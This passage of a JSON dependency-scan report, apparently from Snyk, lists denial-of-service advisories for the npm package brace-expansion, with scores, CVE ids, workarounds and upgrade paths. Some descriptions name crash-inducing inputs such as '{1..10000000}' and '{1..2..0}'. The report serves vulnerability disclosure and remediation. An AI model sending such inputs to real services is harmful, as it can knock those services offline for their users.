Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", 